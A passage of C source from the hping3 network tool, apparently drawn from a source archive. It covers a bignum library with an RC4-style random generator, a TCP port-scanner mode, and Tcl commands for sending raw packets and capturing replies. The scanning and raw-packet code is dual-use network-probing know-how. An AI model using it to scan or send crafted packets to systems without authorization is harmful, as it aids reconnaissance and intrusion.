numbers from 0 to 255 */ void sbn_rand_init(void) { int i; rc4_seedflag = 1; for (i = 0; i < 256; i++) rc4_sbox[i] = i; } /* Re-seed the generator with user-provided bytes */ void sbn_seed(void *seed, size_t len) { int i; unsigned char *s = (unsigned char*)seed; for (i = 0; i < len; i++) rc4_sbox[i&0xFF] ^= s[i]; /* discard the first 256 bytes of output after the reseed */ for (i = 0; i < 32; i++) (void) sbn_rand(); } /* Generates a 32bit random number using an RC4-like algorithm */ u_int32_t sbn_rand(void) { u_int32_t r = 0; unsigned char *rc = (unsigned char*) &r; static unsigned int i = 0, j = 0; unsigned int si, sj, x; /* initialization, only needed the first time */ if (!rc4_seedflag) sbn_rand_init(); /* generates 4 bytes of pseudo-random numbers using RC4 */ for (x = 0; x < 4; x++) { i = (i+1) & 0xff; si = rc4_sbox[i]; j = (j + si) & 0xff; sj = rc4_sbox[j]; rc4_sbox[i] = sj; rc4_sbox[j] = si; *rc++ = rc4_sbox[(si+sj)&0xff]; } return r; } /* Generate a random number of at most 'len' atoms length. * If 'len' is negative the number will be negative of length abs(len) */ int mpz_random(mpz_ptr z, int32_t len) { int i, err, sign = 0; if (len < 0) { sign = 1; len = -len; } if (!len) return mpz_setzero(z); if ((err = mpz_realloc(z, len-1)) != SBN_OK) return err; for (i = 0; i < len; i++) z->d[i] = sbn_rand() & MPZ_MASK; _mpz_normalize(z); z->s = sign; return SBN_OK; } /* Convert the bignum to approsimated double */ double mpz_get_d(mpz_ptr z) { double d = 0; u_int32_t l = z->l; while(l--) d = z->d[l] + d*MPZ_BASE; if (z->s) d = -d; return d; } hping3-3.a2.ds2/sbignum.h000066400000000000000000000120171021454026700152150ustar00rootroot00000000000000/* Sbignum.h -- antirez's arbitrary precision integer math library header file. * Copyright(C) 2002-2003 Salvatore Sanfilippo. * All rights reserved. * * $Id: sbignum.h,v 1.4 2004/06/04 07:22:38 antirez Exp $ */ #ifndef _SBIGNUM_H #define _SBIGNUM_H #include #include "fixtypes.h" #define ATOMBYTES 4 /* The number internal rappresentation is an array of mpz_atom_t WORDS. * Every byte is a digit in base MPZ_AND+1, the first word is the least * significant word and so on */ #if ATOMBYTES == 4 typedef u_int32_t mpz_atom_t; typedef u_int64_t mpz_carry_t; typedef int64_t mpz_scarry_t; #elif ATOMBYTES == 2 typedef u_int16_t mpz_atom_t; typedef u_int32_t mpz_carry_t; typedef int32_t mpz_scarry_t; #elif ATOMBYTES == 1 typedef u_int8_t mpz_atom_t; typedef u_int32_t mpz_carry_t; typedef int32_t mpz_scarry_t; #else #error "Please define ATOMBYTES" #endif #define ATOMBITS (ATOMBYTES*8) #define MPZ_ATOMSZ (sizeof(mpz_atom_t)) #define MPZ_MASK ((mpz_atom_t)(~0)) #define MPZ_SHIFT (MPZ_ATOMSZ*8) #define MPZ_BASE ((mpz_carry_t)MPZ_MASK+1) struct struct_sbnz { mpz_atom_t *d; /* data the least significant word is d[0] */ u_int32_t a; /* allocated bytes */ u_int32_t l; /* number of used bytes */ u_int32_t s; /* sign. non-zero if negative */ }; /* define the sbnz type */ typedef struct struct_sbnz *mpz_ptr; typedef struct struct_sbnz mpz_t[1]; /* Error codes */ enum sbn_err { SBN_OK = 0, SBN_MEM, SBN_INVAL }; #define SBN_MINBASE 2 #define SBN_MAXBASE 36 /* Exported macros */ /* this macro is true if z == 0 */ #define _mpz_iszero(z) ((z)->l == 0) /* this is just the reverse. Equivalent to !_mpz_iszero */ #define _mpz_nonzero(z) ((z)->l != 0) #define mpz_inc(z) mpz_add_ui(z, z, 1) #define mpz_dec(z) mpz_sub_ui(z, z, 1) /* ----------------------- Functions prototypes ----------------------------- */ /* inititialization/allocation */ void mpz_init(mpz_ptr z); void mpz_clear(mpz_ptr z); int mpz_realloc(mpz_ptr z, u_int32_t i); /* shifting */ int mpz_lshift(mpz_ptr r, mpz_ptr z, u_int32_t i); int mpz_rshift(mpz_ptr r, mpz_ptr z, u_int32_t i); /* comparision */ int32_t mpz_abscmp(mpz_ptr a, mpz_ptr b); int32_t mpz_abscmp_ui(mpz_ptr a, u_int32_t u); int32_t mpz_cmp(mpz_ptr a, mpz_ptr b); #define mpz_eq(a,b) (mpz_cmp(a,b) == 0) #define mpz_noteq(a,b) (mpz_cmp(a,b) != 0) #define mpz_lt(a,b) (mpz_cmp(a,b) < 0) #define mpz_le(a,b) (mpz_cmp(a,b) <= 0) #define mpz_gt(a,b) (mpz_cmp(a,b) > 0) #define mpz_ge(a,b) (mpz_cmp(a,b) >= 0) int32_t mpz_cmp_ui(mpz_ptr a, u_int32_t u); int32_t mpz_cmp_si(mpz_ptr a, int32_t s); #define mpz_eq_si(a,s) (mpz_cmp_si(a,s) == 0) #define mpz_noteq_si(a,s) (mpz_cmp_si(a,s) != 0) #define mpz_lt_si(a,s) (mpz_cmp_si(a,s) < 0) #define mpz_le_si(a,s) (mpz_cmp_si(a,s) <= 0) #define mpz_gt_si(a,s) (mpz_cmp_si(a,s) > 0) #define mpz_ge_si(a,s) (mpz_cmp_si(a,s) >= 0) /* addition */ int mpz_add_ui(mpz_ptr r, mpz_ptr z, u_int32_t u); int mpz_add_si(mpz_ptr r, mpz_ptr z, int32_t s); int mpz_add(mpz_ptr r, mpz_ptr a, mpz_ptr b); /* subtraction */ int mpz_sub_ui(mpz_ptr r, mpz_ptr z, u_int32_t u); int mpz_sub_si(mpz_ptr r, mpz_ptr z, int32_t s); int mpz_sub(mpz_ptr r, mpz_ptr a, mpz_ptr b); /* multiplication */ int mpz_mul(mpz_ptr r, mpz_ptr z, mpz_ptr f); int mpz_mul_ui(mpz_ptr r, mpz_ptr z, u_int32_t u); int mpz_mul_si(mpz_ptr r, mpz_ptr z, int32_t s); int mpz_fac_ui(mpz_ptr r, u_int32_t i); /* exponentialization */ int mpz_powm(mpz_ptr r, mpz_ptr b, mpz_ptr e, mpz_ptr m); int mpz_pow(mpz_ptr r, mpz_ptr b, mpz_ptr e); /* division */ int mpz_tdiv_qr(mpz_ptr q, mpz_ptr r, mpz_ptr z, mpz_ptr d); int mpz_tdiv_qr_ui(mpz_ptr q, mpz_ptr r, mpz_ptr z, u_int32_t u); int mpz_tdiv_qr_si(mpz_ptr q, mpz_ptr r, mpz_ptr z, int32_t s); int mpz_tdiv_q(mpz_ptr q, mpz_ptr z, mpz_ptr d); int mpz_tdiv_q_ui(mpz_ptr q, mpz_ptr z, u_int32_t u); int mpz_tdiv_q_si(mpz_ptr q, mpz_ptr z, int32_t s); int mpz_tdiv_r(mpz_ptr r, mpz_ptr z, mpz_ptr d); int mpz_tdiv_r_ui(mpz_ptr r, mpz_ptr z, u_int32_t u); int mpz_tdiv_r_si(mpz_ptr r, mpz_ptr z, int32_t s); int mpz_mod(mpz_ptr r, mpz_ptr z, mpz_ptr m); /* root extraction */ int mpz_sqrt(mpz_ptr r, mpz_ptr z); /* assignment */ int mpz_setzero(mpz_ptr z); int mpz_set(mpz_ptr d, mpz_ptr s); int mpz_set_ui(mpz_ptr z, u_int32_t u); int mpz_set_si(mpz_ptr z, int32_t s); int mpz_abs(mpz_ptr d, mpz_ptr s); int mpz_neg(mpz_ptr d, mpz_ptr s); /* bit operations */ u_int32_t mpz_bits(mpz_ptr z); int mpz_setbit(mpz_ptr z, u_int32_t i); int mpz_clrbit(mpz_ptr z, u_int32_t i); int mpz_testbit(mpz_ptr z, u_int32_t i); /* number theoretic functions */ int mpz_gcd(mpz_ptr g, mpz_ptr a, mpz_ptr b); u_int32_t mpz_gcd_ui(mpz_ptr g, mpz_ptr a, u_int32_t b); /* to/from mpz conversions */ size_t mpz_sizeinbase(mpz_ptr z, u_int32_t b); char *mpz_get_str(char *str, int b, mpz_ptr z); int mpz_set_str(mpz_ptr z, char *s, int b); double mpz_get_d(mpz_ptr z); int mpz_set_d(mpz_ptr z, double d); int mpz_set_si64(mpz_ptr z, int64_t s); int mpz_set_ui64(mpz_ptr z, u_int64_t u); /* random numbers */ u_int32_t sbn_rand(void); void sbn_seed(void *seed, size_t len); int mpz_random(mpz_ptr z, int32_t len); #endif /* _SBIGNUM_H */ hping3-3.a2.ds2/scan.c000066400000000000000000000313641021454026700144760ustar00rootroot00000000000000/* Scanner mode for hping2 * Copyright(C) 2003 Salvatore Sanfilippo * All rights reserved */ /* TODO: * an application-level aware UDP scanner. * add ICMP handling in replies. * The algorithm is far from be optimal, also there isn't a clear * way to delay smaller amounts of time then usleep(1) without * to use a dummy loop. * */ /* $Id: scan.c,v 1.3 2003/10/22 10:41:00 antirez Exp $ */ #include #include #include #include #if 0 #include #endif #include #include #include #include #include #include #include #include #include #include #include #if 0 #if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED) /* union semun is defined by including */ #else /* according to X/OPEN we have to define it ourselves */ union semun { int val; /* value for SETVAL */ struct semid_ds *buf; /* buffer for IPC_STAT, IPC_SET */ unsigned short int *array; /* array for GETALL, SETALL */ struct seminfo *__buf; /* buffer for IPC_INFO */ }; #endif #endif #include "hping2.h" #include "globals.h" #include "hstring.h" #define SEM_MODE 0777 #define MAXPORT 65535 int opt_scan_probes = 8; float avrgms = 0; int avrgcount = 0; /* ---------------------------- data structures ----------------------------- */ /* Note that while we don't use any kind of locking, to access * this fields is safe. the 'retry' field is only accessed by the * sendinf half, while the 'active' field is set by the receiver * and tested by the sender so atomicity isn't an issue. */ struct portinfo { int active; int retry; time_t sentms; /* Upss... added this that requires locking, FIXME */ }; /* ------------------------- shared memory related -------------------------- */ static int id; /* shared memory id */ static int shm_creat(int size) { id = shmget(IPC_PRIVATE, size, IPC_CREAT | 0777); if (id == -1) { perror("[shm_creat] shmget"); return -1; /* on error -1 */ } return id; /* on success > 0 */ } static void *shm_attach(void) { void *shared; shared = shmat(id, 0, 0); if (shared == (void*) -1) { perror("[shm_attach] shmat"); return NULL; /* on error NULL */ } return shared; /* on success the address */ } static int shm_rm(void) { struct shmid_ds shmemds; return shmctl(id, IPC_RMID, &shmemds); } static int shm_detach(void *addr) { return shmdt(addr); } static void *shm_init(int size) { if (shm_creat(size) == -1) return NULL; return shm_attach(); } static void shm_close(void *addr) { shm_detach(addr); shm_rm(); } /* ------------------------------ locking ---------------------------------- */ /* Note that a mutex can't be used with shared memory (on Linux), the only left * option is a semaphore, but I tried to protect the critical code * using the functions above: the scanner becomes too slow. For now * it's better to have nothing at all, for the future we need something * like a spinlock. (btw, note that the code should be safe on x86) */ /* I left this code here, just in the case it will be useful for testing */ #if 0 static int sem_init(void) { int semid, sem_key; if ((sem_key = ftok("/tmp/hpingscansem", 1)) == -1) { perror("ftok"); exit(1); } /* Semi-safe semaphore initialization from R.Stevens */ /* Try to create the semaphore with EXCL */ if ((semid = semget(sem_key, 1, IPC_CREAT|IPC_EXCL|SEM_MODE)) != -1) { /* success, we need to initialize it */ union semun arg; arg.val = 1; if (semctl(semid, 0, SETVAL, arg) == -1) { perror("semctl"); exit(1); } } else if (errno == EEXIST) { if ((semid = semget(sem_key, 1, SEM_MODE)) == -1) { perror("semget"); exit(1); } } else { perror("semget"); exit(1); } return semid; } static int ports_lock(int semid) { struct sembuf op[1]; op[0].sem_num = 0; op[0].sem_op = -1; op[0].sem_flg = SEM_UNDO; return semop(semid, op, 1); } static int ports_unlock(int semid) { struct sembuf op[1]; op[0].sem_num = 0; op[0].sem_op = +1; op[0].sem_flg = SEM_UNDO; return semop(semid, op, 1); } #endif /* -------------------------------- misc ----------------------------------- */ static char *tcp_strflags(char *s, unsigned int flags) { char *ftab = "FSRPAYXY", *p = s; int bit = 0; memset(s, '.', 8); s[8] = '\0'; while(bit < 8) { if (flags & (1 << bit)) p[bit] = ftab[bit]; bit++; } return s; } static char *port_to_name(int port) { struct servent *se; se = getservbyport(htons(port), NULL); if (!se) return ""; else return se->s_name; } /* ----------------------------- ports parsing ------------------------------ */ static int parse_ports(struct portinfo *pi, char *ports) { char *args[32], *p = strdup(ports); int argc, j, i; if (!p) { fprintf(stderr, "Out of memory"); return 1; } argc = strftok(",", ports, args, 32); for (j = 0; j < argc; j++) { int neg = 0; char *a = args[j]; /* ports negation */ if (a[0] == '!') { neg = 1; a++; } /* range */ if (strchr(a, '-')) { char *range[2]; int low, high; strftok("-", a, range, 2); if (!strisnum(range[0]) || !strisnum(range[1])) goto err; /* syntax error */ low = strtol(range[0], NULL, 0); high = strtol(range[1], NULL, 0); if (low > high) { int t; t = high; high = low; low = t; } for (i = low; i <= high; i++) pi[i].active = !neg; /* all the ports */ } else if (!strcmp(a, "all")) { for (i = 0; i <= MAXPORT; i++) pi[i].active = !neg; /* /etc/services ports */ } else if (!strcmp(a, "known")) { struct servent *se; setservent(0); while((se = getservent()) != NULL) { int port = ntohs(se->s_port); if (port < 0 || port > MAXPORT) continue; pi[port].active = !neg; } /* a single port */ } else { int port; if (!strisnum(a)) goto err; /* syntax error */ port = strtol(a, NULL, 0); if (port < 0 || port > MAXPORT) goto err; /* syntax error */ pi[port].active = !neg; } } free(p); return 0; err: free(p); return 1; } /* -------------------------------- output ---------------------------------- */ static void sender(struct portinfo *pi) { int i, retry = 0; time_t start_time; start_time = get_midnight_ut_ms(); while(1) { int active = 0; int recvd = 0; retry ++; for (i = 0; i < MAXPORT; i++) { if (pi[i].active && pi[i].retry) { active++; pi[i].retry--; sequence = -1; dst_port = i; pi[i].sentms = get_midnight_ut_ms(); send_tcp(); if (opt_waitinusec) { if (usec_delay.it_interval.tv_usec) usleep(usec_delay.it_interval.tv_usec); } else { sleep(sending_wait); } } } avrgms = (float) pi[MAXPORT+1].active; if (retry >= 3) { if (opt_debug) printf("AVRGMS %f\n", avrgms); if (avrgms) usleep((int) (avrgms*1000)); else sleep(1); } for (i = 0; i < MAXPORT; i++) { if (!pi[i].active && pi[i].retry) recvd++; } /* More to scan? */ if (!active) { if (!recvd) sleep(1); fprintf(stderr, "All replies received. Done.\n"); printf("Not responding ports: "); for (i = 0; i < MAXPORT; i++) { if (pi[i].active && !pi[i].retry) printf("(%d %.11s) ", i, port_to_name(i)); } printf("\n"); exit(0); } /* Are we sending too fast? */ if ((!recvd && opt_waitinusec && usec_delay.it_interval.tv_usec == 0 && (get_midnight_ut_ms() - start_time) > 500) || (opt_scan_probes-retry) <= 2) { if (opt_debug) printf("SLOWING DONW\n"); usec_delay.it_interval.tv_usec *= 10; usec_delay.it_interval.tv_usec ++; } } } /* -------------------------------- input ---------------------------------- */ static void receiver(struct portinfo *pi, int childpid) { struct myiphdr ip; char packet[IP_MAX_SIZE+linkhdr_size]; while(1) { int len, iplen; len = read_packet(packet, IP_MAX_SIZE+linkhdr_size); if (len == -1) { perror("read_packet"); continue; } /* minimal sanity checks */ if (len < linkhdr_size) continue; iplen = len - linkhdr_size; if (iplen < sizeof(struct myiphdr)) continue; /* copy the ip header in an access-safe place */ memcpy(&ip, packet+linkhdr_size, sizeof(ip)); /* check if the dest IP matches */ if (memcmp(&ip.daddr, &local.sin_addr, sizeof(ip.daddr))) continue; /* check if the source IP matches */ if (ip.protocol != IPPROTO_ICMP && memcmp(&ip.saddr, &remote.sin_addr, sizeof(ip.saddr))) continue; if (ip.protocol == IPPROTO_TCP) { struct mytcphdr tcp; int iphdrlen = ip.ihl << 2; char flags[16]; time_t rttms; int sport; /* more sanity checks */ if ((iplen - iphdrlen) < sizeof(tcp)) continue; /* time to copy the TCP header in a safe place */ memcpy(&tcp, packet+linkhdr_size+iphdrlen, sizeof(tcp)); /* check if the TCP dest port matches */ #if 0 printf("SRC: %d DST: %d\n", ntohs(tcp.th_sport), ntohs(tcp.th_dport)); #endif if (ntohs(tcp.th_dport) != initsport) continue; sport = htons(tcp.th_sport); if (pi[sport].active == 0) continue; /* Note that we don't care about a wrote RTT * result due to resend on the same port. */ rttms = get_midnight_ut_ms() - pi[sport].sentms; avrgcount++; avrgms = (avrgms*(avrgcount-1)/avrgcount)+(rttms/avrgcount); /* The avrg RTT is shared using shared memory, * no locking... */ pi[MAXPORT+1].active = (int) avrgms; tcp_strflags(flags, tcp.th_flags); #if 0 printf("%5d: %s %3d %5d %5d %10ld (%2d)\n", sport, flags, ip.ttl, ip.id, ntohs(tcp.th_win), (long) rttms, opt_scan_probes-(pi[sport].retry)); #endif if ((tcp.th_flags & TH_SYN) || opt_verbose) { printf("%5d %-11.11s: %s %3d %5d %5d %5d\n", sport, port_to_name(sport), flags, ip.ttl, ip.id, ntohs(tcp.th_win), iplen); fflush(stdout); } pi[sport].active = 0; } else if (ip.protocol == IPPROTO_ICMP) { struct myicmphdr icmp; struct myiphdr subip; struct mytcphdr subtcp; int iphdrlen = ip.ihl << 2; unsigned char *p; int port; struct in_addr gwaddr; /* more sanity checks, we are only interested * in ICMP quoting the original packet. */ if ((iplen - iphdrlen) < sizeof(icmp)+sizeof(subip)+sizeof(subtcp)) continue; /* time to copy headers in a safe place */ p = packet+linkhdr_size+iphdrlen; memcpy(&icmp, p, sizeof(subtcp)); p += sizeof(icmp); memcpy(&subip, p, sizeof(ip)); p += sizeof(ip); memcpy(&subtcp, p, sizeof(subtcp)); /* Check if the ICMP quoted packet matches */ /* check if the source IP matches */ if (memcmp(&subip.saddr, &local.sin_addr, sizeof(subip.saddr))) continue; /* check if the destination IP matches */ if (memcmp(&subip.daddr, &remote.sin_addr, sizeof(subip.daddr))) continue; /* check if the quoted TCP packet port matches */ if (ntohs(subtcp.th_sport) != initsport) continue; port = htons(subtcp.th_dport); if (pi[port].active == 0) continue; pi[port].active = 0; memcpy(&gwaddr.s_addr, &ip.saddr, 4); printf("%5d: %3d %5d %5d (ICMP %3d %3d from %s)\n", port, ip.ttl, iplen, ntohs(ip.id), icmp.type, icmp.code, inet_ntoa(gwaddr)); } } } /* ---------------------------------- main ---------------------------------- */ static void do_exit(int sid) { exit(0); } void scanmain(void) { struct portinfo *pi; int ports = 0, i; int childpid; pi = shm_init(sizeof(*pi)*(MAXPORT+2)); pi[MAXPORT+1].active = 0; /* hold the average RTT */ if (pi == NULL) { fprintf(stderr, "Unable to create the shared memory"); shm_close(pi); exit(1); } for (i = 0; i <= MAXPORT; i++) { pi[i].active = 0; pi[i].retry = opt_scan_probes; } if (parse_ports(pi, opt_scanports)) { fprintf(stderr, "Ports syntax error for scan mode\n"); shm_close(pi); exit(1); } for (i = 0; i <= MAXPORT; i++) { if (!pi[i].active) pi[i].retry = 0; } for (i = 0; i <= MAXPORT; i++) ports += pi[i].active; fprintf(stderr, "%d ports to scan, use -V to see all the replies\n", ports); fprintf(stderr, "+----+-----------+---------+---+-----+-----+-----+\n"); fprintf(stderr, "|port| serv name | flags |ttl| id | win | len |\n"); fprintf(stderr, "+----+-----------+---------+---+-----+-----+-----+\n"); /* We are ready to fork, the input and output parts * are separated processes */ if ((childpid = fork()) == -1) { perror("fork"); shm_close(pi); exit(1); } /* The parent is the receiver, the child the sender. * it's almost the same but this way is simpler * to make it working in pipe with other commands like grep. */ if (childpid) { /* parent */ Signal(SIGCHLD, do_exit); Signal(SIGINT, do_exit); Signal(SIGTERM, do_exit); receiver(pi, childpid); } else { /* child */ Signal(SIGINT, do_exit); Signal(SIGTERM, do_exit); sender(pi); } /* UNREACHED */ } hping3-3.a2.ds2/script.c000066400000000000000000001104751021454026700150570ustar00rootroot00000000000000/* Hping's TCL scripting support * Copyright (C) 2003 Salvatore Sanfilippo * All Rights Reserved */ /* URGENT TODO: * * link header size in recv_handlers, -1 means autodetection. */ /* $Id: script.c,v 1.20 2004/05/29 06:48:13 antirez Exp $ */ #ifdef USE_TCL #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "release.h" #include "hping2.h" #include "ars.h" #include "interface.h" #include "apdutils.h" #include "sbignum.h" #define HPING_IF_MAX 8 /* ----------------------- hping recv handlers code ------------------------- */ struct recv_handler { Tcl_Interp *rh_interp; /* If not null has [hpingevent] handler. */ Tcl_Obj *rh_handlerscript; /* the [hpingevent] handler script. */ char rh_ifname[HPING_IFNAME_LEN]; int rh_linkhdrsize; /* -1 means autodetection */ pcap_t *rh_pcapfp; char rh_pcap_errbuf[PCAP_ERRBUF_SIZE]; }; struct recv_handler recv_handlers[HPING_IFACE_MAX]; /* Recv handlers intialization */ static void HpingRecvInit(struct recv_handler *ra, int len) { memset(ra, 0, sizeof(*ra)*len); } static void HpingRecvCloseHandler(struct recv_handler *ra) { ra->rh_ifname[0] = '\0'; if (ra->rh_interp != NULL) { Tcl_DeleteFileHandler(pcap_fileno(ra->rh_pcapfp)); Tcl_DecrRefCount(ra->rh_handlerscript); } pcap_close(ra->rh_pcapfp); ra->rh_interp = NULL; } static struct recv_handler *HpingRecvGetHandler(struct recv_handler *ra, int len, char *ifname, Tcl_Interp *interp) { int i; #if (!defined OSTYPE_LINUX) && (!defined __sun__) int on = 1; #endif for (i = 0; i < len; i++) { if (!ra[i].rh_ifname[0]) break; if (!strcmp(ra[i].rh_ifname, ifname)) return ra+i; } /* Not found, need to open it */ if (i == len) { /* XXX: with hping setfilter this is broken */ /* All the slots are full, make space at the end */ HpingRecvCloseHandler(ra+(len-1)); i--; } /* Open a new handler */ ra[i].rh_pcapfp = pcap_open_live(ifname, 99999, 0, 1, ra[i].rh_pcap_errbuf); if (ra[i].rh_pcapfp == NULL) return NULL; #if (!defined OSTYPE_LINUX) && (!defined __sun__) /* Return the packets to userspace as fast as possible */ if (ioctl(pcap_fileno(ra[i].rh_pcapfp), BIOCIMMEDIATE, &on) == -1) { /* XXX non-critical error */ } #endif strlcpy(ra[i].rh_ifname, ifname, HPING_IFNAME_LEN); ra[i].rh_interp = NULL; ra[i].rh_linkhdrsize = dltype_to_lhs(pcap_datalink(ra[i].rh_pcapfp)); return ra+i; } /* ----------------------------- Sub commands ------------------------------- */ /* hping resolve hostname */ static int HpingResolveCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct sockaddr_in saddr; char *hostname; Tcl_Obj *result; result = Tcl_GetObjResult(interp); if (objc != 3 && objc != 4) { Tcl_WrongNumArgs(interp, 2, objv, "?-ptr? hostname"); return TCL_ERROR; } if (objc == 4) { char *ptropt, *ipaddr; struct in_addr ina; struct hostent *he; ptropt = Tcl_GetStringFromObj(objv[2], NULL); if (strcmp(ptropt, "-ptr")) { Tcl_SetStringObj(result, "The only valid option for resolve is -ptr", -1); return TCL_ERROR; } ipaddr = Tcl_GetStringFromObj(objv[3], NULL); if (inet_aton(ipaddr, &ina) == 0) { Tcl_SetStringObj(result, "Invalid IP address: ", -1); Tcl_AppendStringsToObj(result, ipaddr, NULL); return TCL_ERROR; } he = gethostbyaddr((const char*)&ina.s_addr, sizeof(ina.s_addr), AF_INET); if (he == NULL) Tcl_SetStringObj(result, ipaddr, -1); else Tcl_SetStringObj(result, he->h_name, -1); return TCL_OK; } hostname = Tcl_GetStringFromObj(objv[2], NULL); if (resolve_addr((struct sockaddr*)&saddr, hostname) != -1) { Tcl_SetStringObj(result, inet_ntoa(saddr.sin_addr), -1); return TCL_OK; } else { Tcl_SetStringObj(result, "Unable to resolve: ", -1); Tcl_AppendStringsToObj(result, hostname, NULL); return TCL_ERROR; } return TCL_OK; } /* raw socket is shared between different functions, but note * that it gets open only once needed. This makes possible * to run hping scripts doing unprivileged work without root * access. */ static int rawsocket = -1; /* hping send ?-nocompile? pktdescr */ static int HpingSendCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { struct ars_packet p; int nocompile = 0; Tcl_Obj *result; char *packetdescr, *noc; if (objc != 3 && objc != 4) { Tcl_WrongNumArgs(interp, 2, objv, "?-nocompile? packet"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); if (objc == 4) { noc = Tcl_GetStringFromObj(objv[2], NULL); if (strcmp(noc, "-nocompile")) { Tcl_SetStringObj(result, "Invalid option", -1); return TCL_ERROR; } nocompile = 1; objv++; } ars_init(&p); packetdescr = Tcl_GetStringFromObj(objv[2], NULL); if (rawsocket == -1) { rawsocket = ars_open_rawsocket(&p); if (rawsocket == -ARS_ERROR) { Tcl_SetStringObj(result, "Error opening raw socket: ", -1); Tcl_AppendStringsToObj(result, strerror(errno), NULL); ars_destroy(&p); return TCL_ERROR; } } if (ars_d_build(&p, packetdescr) != -ARS_OK) { Tcl_SetStringObj(result, "Packet building error: '", -1); Tcl_AppendStringsToObj(result, p.p_error,"' in packet ", packetdescr, NULL); ars_destroy(&p); return TCL_ERROR; } if (!nocompile) { if (ars_compile(&p) != -ARS_OK) { Tcl_SetStringObj(result, "Packet compilation error: ", -1); Tcl_AppendStringsToObj(result, p.p_error, NULL); ars_destroy(&p); return TCL_ERROR; } } if (ars_send(rawsocket, &p, NULL, 0) != -ARS_OK) { Tcl_SetStringObj(result, "Sending packet: ", -1); Tcl_AppendStringsToObj(result, strerror(errno), NULL); ars_destroy(&p); return TCL_ERROR; } ars_destroy(&p); return TCL_OK; } /* hping sendraw pktdata */ static int HpingSendRawCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[]) { int error; Tcl_Obj *result; struct sockaddr_in sa; char *pkt; int pktlen; struct ars_iphdr *ip; if (objc != 3) { Tcl_WrongNumArgs(interp, 2, objv, "data"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); /* Get packet data */ pkt = Tcl_GetStringFromObj(objv[2], &pktlen); /* Check if the packet is too short */ if (pktlen < sizeof(struct ars_iphdr)) { Tcl_SetStringObj(result, "Packet shorter than IPv4 header", -1); return TCL_ERROR; } ip = (struct ars_iphdr*) pkt; /* Get the destination IP from the packet itself */ sa.sin_family = AF_INET; memcpy(&sa.sin_addr.s_addr, &ip->daddr, 4); /* Open the rawsocket if needed */ if (rawsocket == -1) { rawsocket = ars_open_rawsocket(NULL); if (rawsocket == -ARS_ERROR) { Tcl_SetStringObj(result, "Error opening raw socket: ", -1); Tcl_AppendStringsToObj(result, strerror(errno), NULL); return TCL_ERROR; } } /* ready to send */ error = sendto(rawsocket, pkt, pktlen, 0, (struct sockaddr*)&sa, sizeof(sa)); if (error == -1) { Tcl_SetStringObj(result, "sendto(2): ", -1); Tcl_AppendStringsToObj(result, strerror(errno), NULL); return TCL_ERROR; } return TCL_OK; } #define APD_MAX_LEN (65536*2+4096) char *GetPacketDescription(char *data, int len, int hexdata) { unsigned char *p = (char*)data; struct ars_packet pkt; char *d = malloc(APD_MAX_LEN); char *ret; ars_init(&pkt); if (hexdata) { ars_set_option(&pkt, ARS_OPT_RAPD_HEXDATA); } if (ars_split_packet(p, len, 0, &pkt) != -ARS_OK) { /* FIXME: handle this error properly */ } if (ars_d_from_ars(d, APD_MAX_LEN, &pkt) != -ARS_OK) { /* FIXME: handle this error properly */ } ars_destroy(&pkt); ret = strdup(d); free(d); return ret; } /* Read a packet with a given timeout. * The function returns -1 on error, non zero on a successful * read, and 0 when no error occurred but the read must be * reiterated (possibly before timeout expired). * * A zero timeout is valid, and means returns a packet if * it is already in the buffer. A negative timeout of -1 * means to wait forever. */ int pcap_read(pcap_t *, int cnt, pcap_handler, u_char *); /* pcap-int.h */ static int HpingReadPacket(struct recv_handler *ra, char *pkt, int pktlen, int timeout) { struct timeval tv; int retval, fd = pcap_fileno(ra->rh_pcapfp); struct pcap_pkthdr hdr; const unsigned char *d; fd_set fs; if (timeout >= 0) { tv.tv_sec = timeout/1000; tv.tv_usec = (timeout%1000)*1000; } FD_ZERO(&fs); FD_SET(fd, &fs); if (timeout >= 0) retval = select(fd+1, &fs, NULL, NULL, &tv); else retval = select(fd+1, &fs, NULL, NULL, NULL); if (retval == -1) { if (errno == EINTR) return 0; return -1; } else if (retval == 0) { return 0; } d = pcap_next(ra->rh_pcapfp, &hdr); if (d == NULL) return 0; if (hdr.caplen > pktlen) hdr.caplen = pktlen; memcpy(pkt, d, hdr.caplen); return hdr.caplen; } static int HpingRecvPackets(struct recv_handler *ra, Tcl_Interp *interp, Tcl_Obj *o, int timeout, int maxpackets, int rapd, int hexdata) { time_t startms = milliseconds(); char _pkt[65535+255]; char *pkt = _pkt; int lhs = ra->rh_linkhdrsize; while(1) { time_t elapsed; int len; len = HpingReadPacket(ra, pkt, 65535+255, timeout); if (len > 0) { Tcl_Obj *element; /* Skip the link header */ pkt += lhs; len -= lhs; /* Create the entry */ if (rapd) { char *apd; apd = GetPacketDescription(pkt, len, hexdata); if (!apd) return 1; element = Tcl_NewStringObj(apd, -1); free(apd); } else { element = Tcl_NewStringObj(pkt, len); } Tcl_ListObjAppendElement(interp, o, element); /* Check if we reached the packets limit */ if (maxpackets) { maxpackets--; if (maxpackets == 0) return 0; } } if (timeout == 0 && len != 0) continue; if (timeout >= 0) { elapsed = milliseconds() - startms; if (elapsed > timeout) break; } } return 0; } /* hping (recv|recvraw) ifname ?timeout? ?maxpackets? * A zero timeout means to return only packets already in queue * A negative timeout means to wait forever * A zero maxpackets means infinite packets limit. * * For default timeout is -1, maxpackets is 0 */ static int __HpingRecvCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj *CONST objv[], int rapd, int hexdata) { Tcl_Obj *result; struct recv_handler *ra; char *ifname; int timeout = -1; /* specified in ms */ int maxpackets = 1; if (objc != 3 && objc != 4 && objc != 5) { Tcl_WrongNumArgs(interp, 2, objv, "ifname ?timeout? ?maxpackets?"); return TCL_ERROR; } result = Tcl_GetObjResult(interp); ifname = Tcl_GetStringFromObj(objv[2], NULL); if (objc >= 4) Tcl_GetIntFromObj(interp, objv[3], &timeout); if (objc == 5) Tcl_GetIntFromObj(interp, objv[4], &maxpackets); /* FIXME: check if maxpacket == 0 AND timeout == -1. In such * a case the function will never return. */ ra = HpingRecvGetHandler(recv_handlers, HPING_IFACE_MAX, ifname, interp); if (ra == NULL) { Tcl_SetStringObj(result, "Unable to open the interface", -1); return TCL_ERROR; } result = Tcl_GetObjResult(interp); if 